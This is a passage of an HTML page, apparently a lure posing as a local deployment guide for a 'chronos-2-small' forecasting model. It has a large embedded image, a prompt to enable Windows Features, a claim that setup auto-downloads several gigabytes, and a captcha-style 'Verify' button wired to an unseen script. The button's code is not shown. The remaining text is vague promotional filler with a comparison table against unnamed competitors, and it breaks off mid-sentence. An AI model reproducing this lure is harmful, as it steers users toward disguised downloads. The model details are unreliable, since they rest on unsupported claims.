ZcS6ZTglXzPgQSFNVpEYpINAF0JxYoOoTwj+I3z9l4vNt5kMEPFTtZ4CMUdJYhTGXUKK\/aO\/C6rONmhdfgTh9UYmQyEZDLiRfiVi0NrDsg1xC2pv3X7l8Heqk0wzvUiuQbsoe7rOPVeb7nMyaxJi7TFB8T5iGaBGMGcL9xzFaHjcxLNNzJ4900WSaJIz8XQ6gQp0jUKQX2tWV54ctPLY0\/21FEJFotP\/AfIpdNKvDHCmAF6t7nfd6hDGBUkxIUR3HL87Gp9BJWNLuUUveOXkxORthBXwil99nzq5i2lb\/bLfZ8hH5wnYqi8OWlhx8BCKmx60Tao5U8Ja3YXLxIT2wBoLknnkgRq75jtX2ywXFWxKqKTHaOLs4CylOY91zX9Bx+NBztTlCiHro89Oirxyjr5VjHUgv+n9QMQS+lr1mxpX2aKcg7p8Z34U4sBJ+AFAR+\/lwmwlUaRV8KSw9iYrztBuIozyrBNGHr\/IVz9kXfT\/4Zn76ddm3f48ZPzhHJRBuCPbXRWu5ESwFjG3Bfg3v65PHXAu3\/Wl60ZG9bnPidLD10C8KCcZAZEO6jwO\/ipqGUNSnva5hMQcpwUJJmpvFUPLSoS1Hhu0nHwaKPPiymvZqKUYYgn1rpw50IW6ysqYCW78w+joFQVbbM6nS8mRbHzKOMEzPjo9VcrsKGN7GXjAw9iZiQgKAMG3Cep+w1ZGrI9UTZE7hDEP4SzOz6l5Ulsxaxv95Kz5\/6PO2NsYIlGo5Umx4xhtbE9a17GSZXcNskfQQJn16oEhPLZByE3ceTMZGcaQIJPhQZ7VeUWZ65wYBD5P87sLFMkI0a5AWZVy3jBnhBZVowSCF1xRNku2OPsIYXC1pv+IN1bbfLJGFtN8NaCiDDM9\/FQnrbf19BbRc6srlpbaaZYt0MAGyTzfFlIHnllbuLfpWSrNP35s70XLr4odNUy22frMQxgj7o6wykoBh\/VCtMGGaSdulB\/y\/Ozm18fahB5tgdqHteKtQgXHP8LzsOfEzbgPtDPsWQ66L1ES7++Dt2idVK9BU4UvwCep2zquNkdqQYOJae2VfEuX04Uff\/SD9uEUK3pTykW0eBFsuAs1xhniJqB80a7hV8Q7zdm\/1t6PBeWS5f70F420K9CkVRO2y7Knb8N4G75KD\/3AgBE4VrJ7vXxnzbpkHiHi64oa61z2zX946TovJ2kduOFepF2\/c8qqW6C\/5+T\/XLBUsNQtGZRBzD5W2t4F0mpKIX0NF8BMjsfQtfz6jCU6T1CJ7datx\/oNrFg7uPNiRXxMic1FPmtypZWPkIuKUKuo6Lzt1AAN\/0MGejDXhivhA26CefzM4D8+pQO7GYWEE7O5kLFn70s6+yIUKWS13GcAPXmKWpfawKCIrJmXmNK5fmIzWEiR8uFNFOWT\/MR0uSQfkCZge0kVOrB+xNfagSzWFNyC23ZPf\/dayHGUdrsBWlr3gJ4wIu+N+rpfeJAYsYytQyOuPs6vNodUMaOPRxRAbaHmY7A5Os0cblEoNDFVsw3Q\/Fq+VAW2abof59xPT9+3ugKxN9MN8lRFCPJzsVy5Rwr0wYRCGjJ0GG05hDd8Z7UTNHhqPg\/wOcp8MPGrfob3jbrbe4vlt6SXCrnfatmxi7HldKoryHjQgwLw2Xl1+r6j9Jd+u9OwLQPNKSAF0dQgDUpcPYIgBV6GdjuvXEaFrRuTP2iTnWV5wnM9zafCzDPpp4DjZSmEc6NBlZ1K3io13I\/UGLXwQZRwQrMBgE0wBbIjeJMR9maH37keYYfJMrzS37LK+9TdBtBxnOGs0wgeuG1bfDg2ErS68hPloVtv8z8f1JZ130hVr4mYPrNqJczbztTNKVusEPiERFBPIevxBFmM\/qsxvTOb\/KwLIWA0iWb77fDoKgPEdkb\/7urA5rYtvRjn+aD6FKrZYXWbHJe5Pm6MllwWd5tcN5AYdobsSBNtlrfpN3zUnGBH0fhgooQ4pezGkU97a1XpHas3HVYsOoqcy28SRv01oGEe08NpRo5RLzB+QvhaHLl4uDjyA2sqRpwl16BFZMGQjHCR6L17oGiZW8MXxELRdZVHopuWggRyGFY+qCUQUNIf74VjAKT2QwNDt6Ce5rEWSwwhLMavlWsviK42XQFeYhYeqZ4xRdezU3rN5xW+EeU0ezgjCrcCAxuDhVL7yWri5tdQ3C7fM3gaFwc3nlnK+zYXhI0W1l7QtJHC\/DRDLcPv8P2Djzjb51Mw7ryTJyWkgXPaC0EPlIBXHgH3ny9WSqu98uyXRxnO51uyg+g87V7+C6ATi8u8WZupvSdRapjpqFhOW7VeEmifyy27j1l2EgaaABCy4CBRhet5XUXs0DK4+oHUXIvLadUzZnRZTVeFFvJ6piJ5JE4W7hkKgZTz7PmQtfHN6HzRtOPfy7Hy5S0EYCfVQWo45RXe6+CYL\/urBh4VgZpzWAbR7DAZvX8077VvdY6Pv8G5RLB614QpL5cD8eGeSLXABNtSM44f6DSYNJ\/U0qjvCLJFnbP2wIvMGYjH\/NFpGAtBr69QD8L6BLNJLUVP0rHFT2hpC3qY\/cExf5ciPL3j+oreu4U8P\/xgvN3e13u3dqtFLG5GE8hPchgG0RPhbGM3wKGU808XfLS2T\/+iNqOZI96JkNE7aXQ1ndGZeucXCOBbEyj5XTkjsZywBp1OEDq6pjgR4tsKbvsi2iBFbIgzp\/2YF5+e8zASa7m9IVlEb077zYAm0N3fUDHMaCb4tCzTMrKkPS4oWE60kxOAjmPNUHzMH79dWREavxo1ukh0WIAOyHFtLb4+AayTjj+HqZrHWcnXcgulmFPa51Ak4ooNFNOj1MNVvT3Ut+P+KgfF\/hxj3rpJ9pinb5yxmnEM+YkCm9Kg7C4b7d1bOTxEP8wLfk2YuAEcP2rLA8uPtfaqceFmWHkQhj\/UJT6QqUlJ4e+VbpkDjlDWKylSG2utBpQ1Pq7yzs\/S\/vhoVq4C\/SC8I9qwHhkNJZrxwAFrm9vZZQKSiGAdncjFtAuo4EGnNadkcDw4fKwUWqkyDtx0TDK7\/MA\/aH1XlZ8wpkxDXxDT9ywgyCkmhjD9Y4KZ4YWRpuRHh8h8ra5NNEzv+pwo8cIM2LdCzOMNqByy+rRk4Iyf+R3yxOJyO5+cuN1t+ffoQilqwHgOjjTF+pczs0oU2DaOqeAlbf4VEQ1uxz77qVJMFddc1OaIM07equKHaR8b2uwNf5D5jrX5wKU9h1Uaj8caUhNpzzLP8sAht\/hLk0COejfrpRhxdEVkxsJ+ey+sFZPAnJDiCBx7N0YhIufV\/6K3Xo5Nc0J44ue4HkIQAP1ozxTIFbpXQsFMgl4+tRGknzF0IA+J\/X73kepNrRrGTl9xfnMmcuqwjukBSD482JjIUORvohR3FpN3avv5pRqE4YkzbAINiMQtiKZzFc3JeX0dVAB+AT0AbT2b2Nxv2naXvC5p++dmUjMwCdHpAsAkubpuJs5wo+HrgQH50E+midolbFa4bG6afR8VRX34XC\/j\/1ERhX0s95pUuaP1\/X9fqG3taW1hBDOD9yNikmidR3mBV0tSU7zU2VMY54Q7q38tNsOWBGuBv21GTF4x9lMx2wELs\/t9WjPV4VoatxIcpXL8wmFnSG+1bdPWetMbfzDSJxXzyDJCVycNYEfjkQBElSUlhHSaRR1LR\/hVxRA7WwMXeKm2w3qjuTChK7xqPZ3n6ZGyQoJgm8lOE+TdV+VxqFt0PiXXlsFLenh6788FcOC1tuQRIad1EniKEf2bLqELNHAJmXG6KWrmkLkximu5L9wS\/7Ab\/EVCgoAGOT5b8m3zu4etSFGvtwZaenweTR2feTPZe33B\/ApL88QALi5f1B44vOxknFhnbI9Zz\/Ecb85qO\/Z4yyUDPwlXFFjhqzKU+oOJDj2o0bgJgW7LQz5CILPHoKLkMDU3V8r2MvfESj4eM2p3QswCq\/sISyExxg\/jN11YNJd5HL\/0BpI84gFhmuPPdfUbs+nmegrAEFb+qnLXK0H8Dajok8UZ6gW\/ovlXmlM7ABZ5IP31eUkvWy3ILu+Cq6\/MAOFzHEDajDp0n5xn+gP8atuyOaSwQkxDfRdV34QsWyw9J0O16h+fzsbITaFLUULk06d9p10f8JXZ5u3vBSO3QLHie0bHZpWx3pzlFFlKcGNbZV+YPrxRT4c2NhgCia9bvL1VeXvMljvCTgaHFocip3n\/rVS5IUPuXL41m6CdPaRDgDpShPVbUq+embUDlZ16sRDPhFhSpYtie0AbcilzFYECYonZwdSPlaG3nNDcMxtvat\/sy5Cv+TtI8k7d19uuw1iNmxYlT6f2phc0+DjtSFv3rJiV6EB7k70x+zOS+HR1L7M\/GpI\/fOLfiVzGZNHSiFB2GkH6ltHrQXfaUbYRZB2HASH1I08tUIitG60d1K5yrpJAsda\/Payp1hMMC8xS2uAUzj1XVbmQqZnF4CBWdKuOBa35XYkFVEVJEpgON2GA6tQcpQ2XYxgsKeMkrV0zgf\/XdZ+ZyxOTEZPUFfyNylqbOFHAUG3TgsYluOOUnhaNA371+FhlOH0BZIzjAAR4OfbLzrhVUyBm3S+LBo+12gYBBgj6hOLrgGbqkzYJBXUrEE8MbG0xdxnQ9XA7DXk\/qQjTKLwTlrbc+6nPndd47gaqr4NqIIKEiOgImH6RVj+oGzFMPfHk+KKIlx2WfjJp4Tn4Y2JrfpdVXcN90sL5YRxirMII7zY1ZZZkK7URE0zwLCCBJD6UzVlYtffWtyzNbOeq1GROAlxAu+mxGKykD+PD+JM\/rfmcP+p7doaxPgnHnUFnu13pH5SGJrn3Xv1KwQb8DkV6NOHoVp7UFTnztvA1fmNTFPJx3LZRLj6UivufMoY8P\/HsRf6xn8SIuUpyoxLMGIfzBHR7OSNGcTO1Ss35hJP13RtJ2eFKKM0WlO7foClgutr5BZvlo+Gq04yT1A9ht3egpCLA34E7ujYqj\/lVDNUWd+\/FvL5rzuxbyaVmtMy2EQbsX4FkhJ73kwWex2LOCSkAW74\/Y7J0KVGh1Y6sQJ1mtF8fWjkyJpTg+XZ+yY4f4A7MZuY\/cxJnifFYUE4rU9WzdD8UpXB8U7HWCSB5w8VyBZN62UahoHvEGrYGdyvKKtcpyPkV6bZgyOKw894KG6ywZOybUUNq1HuW0LDZ5S4K8bPf7ayhPun6rnxzX4kzax7U+bRfT+E3vciApfUNrcMz8Ak7J6QfaCXixn6G5JgNujghv9kOIMiyhyVEqGsXd7JWMn7Fv4Z4fjBc+jO\/bnGbPvpw+fcNMF7M5C3u5qD5PvcDDUm3J+CWjob01K2OZh8bBjD52FxEx7QO2xoGyZ2sbhHDJLy414\/Ug+qcGWUsxIMg2dxoBzN4AChY\/wFCruyDlefN5ZdN9cOanX44zgxD5ADVI0uSrw65HovKb59aawJc86uEzkmPfsoOa4bBwkFuEuaSK41IDX2mFcEz8Kk0IiWxBlOor4O5nGNDir5I3pp2V9zHJa9e1a4IcpLUjo99ESLPgpGOtCipXgTVvOL\/AHcL83dhyLOO2y8eTzamR89Ilh6adp\/ShsnoKLuYNnKt++NFdRaTyc4qAf+9yUsi3QXkNwlQBmoZXXWrrunYW5mwj\/xCpkA+8KR8Z\/yJxQfP9fdNmHujadG0tQqUwlDdjRmYxL7\/rW2Ir75YrCd5tKr45wmknLKXffZG0wnPvHS1SMbOBtGRxammz855NULnNlTjsPehLKTfSupM\/UmLwbbzWj669PAilK9O98MJTxPdRZCoD0\/lYgKyTRudTjZl0E6\/+XQcbT5Bpnx\/m8BL7moSUIRZTuW6JCcS3QHyz+YoaIwyN7fTMYTm40yfqea4rI6cMuPO0\/Rm9joWBkCb2k9X7ieU7FMiwRDWg1uUIhgPNSPiEuCmJtzzR6Yiv1v7u1W3a5ek5aJ7RVw9PT\/s2cWtpofc3G9QBQGQmgtpNzo5bx0AIXgWkkBT7BbBSdUEaaupdxC1Do8SWjgNRd9BgzdgjsKRhs42wId3xtpAnsSaa1sgWItOsM3HZzsSpCUi+Pw0P5GtSpUGKfzfukaSCd127MzhkXpLDt+Q7Poh7F2tN7ki\/L47MhaE1TTxfifAJ36Kwq+m5BKVoy54D3nQimZJyMRgYlJbFTv0\/SkEe3k47S\/Ygp0Me6DGVg5q8YkqZFXyEmsLgZuAq5S1P3pMmVzvr5UHcy\/WYshjekl1J11ZMnhIeiXuR60YuwtdMIjuV0MkO6oCp+TvhJzQLQ4HNp5RpPwwpo5Z3wIwuQNaZBjPWLEPDYxh+iqNu0lSz9Kr\/ZeMtD8K1kh+iphXVmzlyUIaYxPwGZifPhZT5WxtZf5ZSX4iAGZ2Dp5WTfcODxm94Nc8CaedM2y7t9PLTQkbwy9kTBIPN4yt7BERByqyrXGsW20s\/T3RwqZIas7hhWY6BfaCgLym\/iPg1rpj4AtLv3juzPxRgaHH9rtXgckIP3Ed2uqO4T8tM3WmuC6aV6DXp5niZqXflVIMTB3LrMkm4z+8s0CAps85NHI57myQ9PO+NE6HZv7I8KsR4HjeMNWWD4M8xKxe1SwvDa7+QYOzlq0wKV5gJFnIVhguArAx4mponR4Mu0Eq3ZLexML7n4ipx6v26MUsaDhgeRJXvzIjGKJUFLT3zSf9iO5T6wVSLmoNbI7W+Dje3o4uesmSAmdi7AaGd\/etIsm9t\/QPHKM6Zsbm7QZrkj0Ser4UShGNBCJyudn4OA90HmSb9HHNhBlsyKR\/WLkd72\/euv3E1Ieg8QGunwlYwO7NHrQ9T9CuAwM46g4jASdxfaH1oRjt51JVpyvlprO2pyG1CBBKrenGc61P7cDs27fnNzi5eZI0QOrbWXlpvAZ+nSh3UZoMoGmWaAXQbDZOMgTbAtt8abDTC4qQ+DykHR1uB1B0DOAK5yPIfVxgGKzpdIC5Q7rBEiPyqDMuXP3DCVKZB+M+A+VMPgog0ToMl5vJmRY5vX15ls7tVRQvmG6bl4k3oyovahWpDXyDNdQIJV53X52BmU8E8CYFdIzdsT05rGyhPKq8wKUuLlYf4bdXhyNBp2u03KBILpR6jyh21qNVKtbarjQr4faDoXWCTNmmLTeWbAQC+YSR64kRglNfbhtZrFDhXeXm5huYkVhVw4LFz9VBi68Y1igqOmhVeCViy7OUS+NqJmQLBVt7hTCj8V2+n9HnqwzJ+pMT8Kzed9d9UbuHemw9IBkh43JN6XhmIG7dI0mC3xERmQ8VXYI6x4BcuNcH+bewzcEx266I0qlpO4dhs5P2fZyIT8MU5M4pW9IfRpHQ6Kj1aLXTqaIX2wV2fBKCUi9nLh56xUohINH6QdLXt0OtZPKv7qYXXs4tPXLuKK2a4Zvlq+BLfYsXtWxA4ZFhNDjgDPF+STVqM5Rshq9btmQNSlQKQABHBleP9KcXO+997L5Tt7fZLWEW8YjdzOtq0reL5WLaPzehLAPeL9BaTgQsrbD2z9KljpV2C3e7RFJrfpo8X7UABBiMVJbF56bopnimbZyxIizU\/EYInZG9k6tTKYMh8oU7Ykin1vYg5TF\/GC3uoBi97g98bwXLE+QTVCiiNeWACX9ZNeY73EXX\/VNmootiXuDW9A06cjaDovvHO6GyPeNWkIDu2I9NmEKshLxhYzdLPS2VuYLeBvE\/tzNZPjPd5iwUDLZtvcTeelH6o42MeRhM0gpUhdnQtUQ6Fd2f+r391P\/m\/AEAxm4EXIuYYVjIIM3KW0q0700Aj4P6Ki7IaxoYOhhf3OPYeypV7rQVvxOkUfRXzrzQy7oI3HlCTvvaVRRCkLXzqFx\/jqwiBSmxg2Mpix482KthFPj++lhZxveOOiSzZkFgJyQvLOKiu\/YNnPck2OeDw6IwBAwHLUaQdaaTNQiqsKSXhbK0yYzjN0bzjdV8PFBu3zTwCsaeryVUZJgd6cCbqUwzN7Te4Mf9GPhO2n1OOZEhNENw6g0aMM+A9jiI11QYtKP1Tc2dEe2Q946bQzQ5PjBxoOBBozyRmW+TDrQHjonLce6FN63Rw717Klmdl9LLk47mroDWucV7diaHuwwjvmxSCD2a2Ne0qOjYiBAkU9sIIM9YCGG\/7\/e8wIsdPXL8rCkKzQcL2\/iUAOmRZejioTg3MfDQNfXWy5sRrq46NErit4K1Lek8GBjvR425lKiz0Ux6vV58ebf9RVCKXJ2nSI5fufiSrCY\/mUWwM5q8R0ci2MmbrxZMWoCF6pv91tJE2TMoMFRNkc+IdFNWMHErDQYNZiF+Wg2vzX+VIQX+tWbGonavb7+I7vtNEExICyh8zJPBqKQjDAfcB\/hBtUcV6gUzGtZUIGveHOd\/8uFNTcizWPY2g3VqGLp6ryfhkaRGSvSwNb40tillcV3Td7Y6tXMPRJLQ\/ULXpU8jD6yColeUtW3AwAonGhvpn41\/0lE184ffp5Stgi7BJ1CzYCV2RnIV7XOLAXpvkbvolhqTPReHFOdqiDYOmE+ekdLkLJezbyzndVRZ1r\/HXaes\/spya\/24XUgVkpVg0oA2e8pIEl4nVBWX2WJk2FoWU8VzyaYWWV5Me\/Mxn+qfr\/QYLVmPA0Rg+yTEw00nKV3c\/2n\/A5LfFPPoOklk+qsOW6AIdxqtPKsobkyCuIFjZI5eGV\/78IlWDqGsFIGUIK0SBrKtm27ZsFcGHABLvGRaALUbNqDbq4WCY68Q9WXbVp9vRG92umTezXmFIJUSZXSKZ3Ss8Wu91a\/ZJzfTD\/om9MTxG9ti0yDX3FUAUvErkCUnwgaC5C3EjIfJtcnj9tFm61jMJgC7Q\/d9C2yq89PaEkTmeIu8gATKROVCmdwZRN4Knq+1Uu7ye2UM8YwPlRFwrkvRDC3far7OK9E+uy10de7Si097jgMHVJPtl0BZd9gfrRDir0sRhqGlx7VR6OVBO0he5wGuYVL01furlhJIb1f03x9TXDNvNN2gTr1w8ReWLbd7fDgo0BEH0KrMlPHoXrErk7ZGbB\/i9jmfybp18yQIE6HjjXt9V4imPU1agJOJ5VgXlT3YdlaF0PioYpcb6nZ6hEvuVtCiqY\/BsnqVr0XICr9g0Blnw6rlqLXkKOuqJinKSntiSWASu+7+P9i1Z10duck4bueVa1Z4abp+tCeyNR8f9AVR2sw3hY988trnyHTc\/poYCLLL1b1zLk82vptO3NKbM5dG8Y6aTVL52Eb\/nGuBpWaZldyWBLsXHkfzQ\/fA7KWHo6I5dVHURRP6Y3\/SwMRcM+nDDu6JQQDMeKI1ntHa14H\/bBcYFsxUNExQMY6ClUALtaRINBywlakBYM4kcxkoTiEbRDgX9bD6qukjr4Byv3jxmzjo8WAa3qi7yPtcSK1mnFDlpvCF1EMvKC\/OUNIOP3tEN06KnraO0jX4yXuzZ8JkQo2puE3m3Dqanot7Y5Z47Fl1fER7MniL+W9AernocqwtwzA815wIdZr6xwJyDZOowJ1aKA4wQfEKLsYF+uzwS\/fIGjSaHk0cdLKuWpN6kUpsiIZ2WdspdNITKFM5Iyvhnt0PDPGYPMU2ojtM8t7Irh2rQoY24DGWs96UwSMYpLrGO9aeAMIpLfsWjNzr8n+2NSUUIvXKJtE0yxYWMXDyKy0O3ybAIprsHAnMz1qx2MRQjWJl8SPiLDobnucncV4905OwmOwFZOY1irYwP4cXPvOFJdPxzwfgrKzgDksj1WII6CgoEp3XYMYbe0vb4mZQGmAqs8Y19VV7U6EabR33pS3va26qGcNDd\/1MdFb4FQifTOkX5SJ94gOroAY5yySeTmR0Std9DSCOz73FQAXaGDuAExQbvgS70GlTk7NEUq5JLhJqOPkjjaLEio7LK0HOMjqvdW8NGcx8NCLE5RpbqzwI8ncVNa\/aznd7IMN80fjo7ltLfzFUZYvoAeTPN+UJR9EbWWgJdSUknEcdC1xWgTD8U+fKr+KbGuc3ds5PrX\/BzzZfnKHAqNVKETlEntCmAYEIzorIvV3IYs7GLcMqFWOQwFtyMfnzpayjH7EYazypUhQtoQOL5I7WfMlnLanDmog8HKtVkMg3tjAelPv3O8iaUWnhaTAc9LjpmLpjuX5ZIUvHRnH9zxYdCVBL8ynJ4Nl2Xa\/ggV6M0jqJb4iIU\/rx1i\/fNVZWI5a6suJsNqBLXHjfQSWdiBWmpKt6dGboiU4rFDgDGaehtNGJRJLOPrH49IqEIA3STDtlter9N4KD0N0W8zz8RlfOh4ysoIW5mjvwiSLySqLY0SYVeNqcak7s+47MOZO6MkKmx0YnGfhFS4FBzi0L0kbEhyjGyoyC2SEpa8yUECS\/r2\/7K\/9kOIKyzTX4x+EdCaQdOTNSr4GGHw\/2K+iKDJToZk3529t9s9x1J3il3KNfN5h6NoGa0aYIndYn+7xON7GMpaEwJgaqS4AQUWcYrtCyZcHQGaeruY88Q1OycOy+Hlhf888kweRBGIAOkY6Vq6c\/d0ag799RrT4M03twsBMwo53xisHKHaq+AHsoqdeuUM1r9blz6F2JQgbkJ2ZBITKbLKxO3NqMJ2WV0rOKxrgw0cBw1hNkkdfvoGLM2tn9+C27XEWkvjguHGG2NreWEtzSpqL9NVxCM3PoQYAz4aW7yiD2OWa2moJFzE3UU5Zf36B2QO8nyP28uz3fe7dSwa0PY+0ubAQS4MURXeH8ugcxZjLUQKAUwn4hbdERHij++7eiWYz85R2UjcYbS4n8jd0zLVlStz+9d6XQbE07VJgRmXs2EQWXdQjV3D0b+UoTY3W7QRw6Suut2bEsHisPv3RhgwNB73ujAzFnZIiuQZ2aNlNqXUX0+K2HjLy6rbol4BkKghy7KtP9agcCByOqJbI1O8nvjO4FvD2+SYXOCchxBwCJkEhdXASsnnKly17xJIITJoPAbC1AwwyISDCEjTSTjvCYQjun\/OUSwJnsY1CVB3D3UDHBDI5PnipV6U+iYfsGwvdH6d4nBfm\/z55G+VtmSXUmtqDFJxLgU8dA3Buhqzp33HOXNM9IPEPCnnpROQxkIRJNU9iwB5tCC51jXY11WRk7va7wSuFW27f3pjzDMbzk5oUxNjo7f+Q4cj7roInVy1RnQjAALbPGGDyVeW+KPIedLyEnQjru3nCcVJqSohkrbHBw0P9mxsMU+nciP\/kp0QXFQalIv583eKiniXSnQWpzAJlaz+023n9dHYT2pP5IK5hvavjOe\/upFuyM6Qty1K\/JWYvp9XPKA1jVT0t\/3WsJIuLNr6KOksh6Cou5cwbb\/ZeOdDEzNgHLVYPSr+1ehFZTB0n\/+NSPnDVhKkgNUXIfhxTcy8+n65dSTrwB59\/DfFE+WwMf1sy1ZdtdgoJpF0QyyTnyyaHS\/ylrtk+5THv+F4VDMcTVay6DctOBzR12rcmyGfs5a2W+6dQvR2ayMX3wY9hfC3IWZ6lEu4+hWZCqdf0xE0ki257bkLKVsd7Bsr2TNifGWJW8HAMYcDuYaMOgWDYu+mqLiDW1rwFgmw9gEe0UhUyUVlh1pm+3wO8PWzds8H3Qc1wBmeB6R\/dd8nwubOcQYw+eZDH0xLHqBUgrlLt3dfMflmp+cIM9cho53WhW4CM9nMOpF9Tc5lP0YHMd8ev2Fl\/zkwdP4EIhlC7FgRA+f1PvuDmI9j60jRiTaUCtWrpk79dPKyQIIVHUVdrNomqrwadsRi7AJtFG3i3gj9YxFrkUykS5Ou1r7BbBiGFxGU3uFSzS\/\/bCiuInaEiIIlNVJeiSUfifMW2dPb2TTROUeqYox\/0mZ8n9FMg6BAHyEeBcy9Yb6GpNos3\/\/MzuLhJMAez\/KKGsCOLh6Au7606Y3Xk8ei7Sq8gtzj\/ckQ5viY6h4GsqmzlaPvI3u6UbrCvWvzlcn89TNk+aTZQWxy1BsXLJqdU8OZIfvtiW3UOVLfZnW6MBWSYIKmnUiyeH2pOUCCc+yhHE8hUcHv6\/BHzQdCU7bnARsQXCDvcjh6\/lYo0t3mzcEH6iz7eD6dS\/JAiDEbuoBXcXB2dHKmQQ4tzhVlXPuGTkxLmK00I6A+s0dz5EynE4oMPc5JMScHec0OSUiLR8hMlaDypCei4UqzTAl1qO4MTxTXRA4D4eU2dAOBhzid3HWt1v61mGAWywGJ1TCOUqJTIc2Moqk2K8szg05O1egbvbtbGYY31CGTylc9E4+X2vXyUNjJHKEUdRLgaszgSQfWDWjpLUWThMmlVuLOpnl14FPcCpQ\/gA9t3pjK0XcWFCQ+o1EU1Nrgwq780vdKJNaShBQto21MFGIHajLL1W00YSY2BzfpstDK8JDdz2NirZ31+oed8c6I0TW1x9+xtSvmXDsLo+VDc8oxm+s\/op5V0l3LdpacGpZq1gIRFRd7p0tqJ0Bx5U+DImCTEJTSAhuVYeDtgqLToOB14O2i78mayxb5lVKDZ4OVjuShjIwCR62Vt7cNbS15BHgSG\/uMPKIDJUyQOS5uAJQCWAvu8ZJYEOAJswCG+wsY45T00eLlb8cSxkuwegcX2wwuJUge64d+AbT1BSrYj2j1XcNhK80WhEG3QIy0G3Aw0p01G5lxp8D389\/ZpG73dU5Z\/CiYIboiKx+uqQHlrTYShWP9EHotC5+lPHx4eQJaagrT3ys48onYxxKx2Gkmv9MLxszLgC14QA9TlyHeM9AaGn23NKFngACQD+Ayxg9ZnAJNyVUWdouqMX5MXSCJZdFfFPb0yayWJogCKZ9\/XE6HcWMty0DIeTzj9z1cVVhUdDnK6rb7LvvbicPng7kXzmyxBP9C3tZCsQxboVvQKuZmAktnBg4ihWPmY6S\/Y+oPqCQbc2fuCAGxDh1kTUEGqMGTkkQ2Bq6GQq9WyMvXxG1oWvNmOQr1PjpSaQfuEqTwJyqYTcxqlQHbkkr5hKBkiG1dv5pBUQfATDfmcQGosEnbF2g+rG4nolIxsc9mTDjVl7dE7iuuw2QZZvHnr6Pufs65Xgb1LdrXlTamB\/D8i0Wqdx1tG0CpMpENB0flrEZ\/tM\/\/+7pgzbl+J4AVPTVf7SD5hA5Hy49c7TM0mKclszOGT40JVumgVIlh0hYX4fLlmU2yt8Zmv7kG26dybRF57284kH0f92AFkEX0Ky7xpC8AqILqsPUz9lYeCFq6VYfnkVEDFN5cx32byDFOels3iD0oNMZkyz1WCQIDpuR\/Ezx58jPtV+kl\/7Fyt+KQtG\/Pt66lOj5HdLeiDPdIyDDX2cASu6nPByapuLItzVbitf8uT0uQ6YgB\/rsnzdXvauNJrY3e3VCfhKYVB\/D3JEjwSUhBDISav5NrwGNpLr3l8iVcoWaIIpfrqNCLxY9yAKWvxBeKktP3O6AgsNzOxbwICFErPBQsFIP+6rvTi4WURpDbsgt6eL53HWw8fVPLDScxBw6gm0VJnz4R4H75ipPVl6ea1Y1onqdJBvel0KDUNJVDpCvGUhhdXs0TLqYsqmShHYn7fq7e8hqI6gxByHitd3wFRUSog\/J3\/NOUNBtIIsu4DEtV2mI8XsG1R\/Ag3IjQSW8waLbzBRRGgpSEgYghpTRBhr3S5lshZGA+FbNQP55Ftdbq7eJlFDdzkAvBooM+bOzX25+flInu+VbiJie7T0ai1c3aAEuYq1yKoLfBExbjFonixQ3WXRumBLouFi8F0KRXKs2S2lRzieAimEHLVgMTMSPrhY2NBA\/AgDM3VIHtUt42\/0XyZ3m4wEvszw9CO+7qD4AAA==\" alt=\"Full Deployment chronos-2-small\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>For the <i>fastest local setup<\/i> of this model, enabling <b>Windows Features<\/b> is best.<\/p>\n<p>Kindly follow the <b>on-screen instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>The setup auto-downloads all needed files (several GBs).<\/i><\/p>\n<p> <\/p>\n<p>To guarantee smooth performance, the process <b>auto-selects the best options<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:14px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 12px 24px rgba(0,0,0,0.05);border:1px solid #edf2f7;\">\n<tr>\n<td style=\"padding:42px 52px;text-align:center;font-size:22px;color:#4a5568;line-height:2.2;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div 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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:29px;padding-left:24px;margin-left:0;\">\n<li><b>CPU:<\/b> AVX2\/AVX-512 instruction set <b>required for llama.cpp<\/b><\/li>\n<li><b>RAM:<\/b> minimum <b>16 GB<\/b> for stable 8B model loading<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><strong>GPU:<\/strong> 16 GB+ video memory <strong>highly recommended<\/strong> for exl2 \/ AWQ formats<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h2>Achieving Cutting-Edge Time Series Forecasting with Chronos-2-Small<\/h2>\n<p>The chronos-2-small model is a groundbreaking innovation in the field of time series forecasting, boasting an unparalleled combination of accuracy and computational efficiency. By harnessing the power of multi-head attention mechanisms and lightweight transformer encoders, this compact architecture is capable of capturing long-range dependencies with ease. This results in improved predictive power, making it an ideal choice for latency-critical applications. The model&#8217;s ability to balance complexity and simplicity enables seamless deployment on consumer-grade hardware, further solidifying its position as a top contender in the field.\u2022 Some of the key features that set chronos-2-small apart from other time series forecasting models include: 1. Multi-head attention mechanisms for capturing long-range dependencies 2. Lightweight transformer encoder for efficient computation 3. Mixed_precision training techniques for optimal performance<\/p>\n<h2>Key Statistics and Comparisons<\/h2>\n<table>\n<tr>\n<th><\/th>\n<th><\/th>\n<th><\/th>\n<\/tr>\n<tr>\n<td><b>chronos-2-small<\/b><\/td>\n<td>120M parameters<\/td>\n<td>1024 sequence length<\/td>\n<\/tr>\n<tr>\n<td>Competitor Model 1<\/td>\n<td>300M parameters<\/td>\n<td>2048 sequence length<\/td>\n<\/tr>\n<tr>\n<td>Competitor Model 2<\/td>\n<td>150M parameters<\/td>\n<td>1280 sequence length<\/td>\n<\/tr>\n<\/table>\n<h2>Addressing Common Questions and Concerns<\/h2>\n<p>Q: What is the primary advantage of using chronos-2-small for time series forecasting?A: The model&#8217;s ability to balance accuracy and computational efficiency makes it an ideal choice for latency-critical applications.Q: How does mixed_precision training impact the performance of chronos-2-small?A: Mixed_precision training allows for optimal deployment on consumer-grade hardware without sacrificing predictive power.Q: What sets chronos-2-small apart from other time series forecasting models in terms of its architecture?A: The model&#8217;s multi-head attention mechanisms and lightweight 